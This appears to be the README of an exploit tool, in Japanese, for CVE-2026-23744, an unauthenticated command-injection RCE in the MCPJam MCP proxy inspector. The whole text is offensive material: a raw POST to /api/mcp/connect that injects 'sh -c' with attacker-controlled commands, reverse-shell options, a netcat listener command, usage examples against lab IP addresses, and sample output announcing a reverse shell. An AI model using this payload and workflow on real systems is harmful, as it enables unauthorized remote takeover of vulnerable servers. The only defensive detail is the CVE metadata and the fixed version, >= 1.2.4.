POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_CONTROLLED>"],
    "env": {}
  },
  "serverId": "any_string"
}

pip install requests urllib3

  -t, --target          ターゲットの IP アドレスまたはホスト名
  -p, --port            ターゲットポート（デフォルト MCPJam: 3000）
  -l, --lhost           リバースシェルコールバック用のローカル IP
  -r, --lport           リバースシェルコールバック用のローカルポート
      --timeout         ターゲットの可用性を待機する秒数（デフォルト: 30）
      --shell-timeout   シェルがドロップしたとみなす前の POST タイムアウト（デフォルト: 5）
  -v, --verbose         完全な HTTP レスポンスボディを表示

nc -lvnp 4444

# 基本
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444

# 詳細出力 + 延長された可用性タイムアウト（応答の遅いターゲット向け）
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v

# より長いシェルタイムアウト（シェルが確立されるまでより多くの時間を与える）
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10

 ╔═══════════════════════════════════════════════════════════════════╗
 ║     MCPJam  ·  serverConfig インジェクションによる未認証 RCE        ║
 ║                        CVE-2026-23744                             ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2026-23744
  コンポーネント :  MCPJam MCP プロキシインスペクター
  影響を受ける :  <= 1.2.3   →  修正済み: >= 1.2.4
  CVSS スコア :  9.8 (クリティカル)
  CVSS ベクトル :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-78 — OS コマンドインジェクション
  タイプ       :  未認証リモートコード実行  (ネットワーク / 認証不要)
  参照       :  https://nvd.nist.gov/vuln/detail/CVE-2026-23744

  10:32:01 [*] ターゲット 10.10.11.50:3000 を調査中 (最大 30 秒) ...
  10:32:02 [+] ターゲットは稼働中 — HTTP 200

  10:32:02 [*] エクスプロイトエンドポイント  : http://10.10.11.50:3000/api/mcp/connect
  10:32:02 [*] リバースシェルコールバック  : 10.10.14.5:4444
  10:32:02 [!] リスナーを確認   : nc -lvnp 4444
  10:32:02 [*] ペイロードを発射    ...

  10:32:07 [+] POST が 5 秒後にタイムアウト — リバースシェルが 10.10.14.5:4444 で確立された可能性があります
  10:32:07 [+] netcat リスナーに切り替えてください — 着信接続を期待します。

  10:32:07 [+] エクスプロイト処理が完了しました。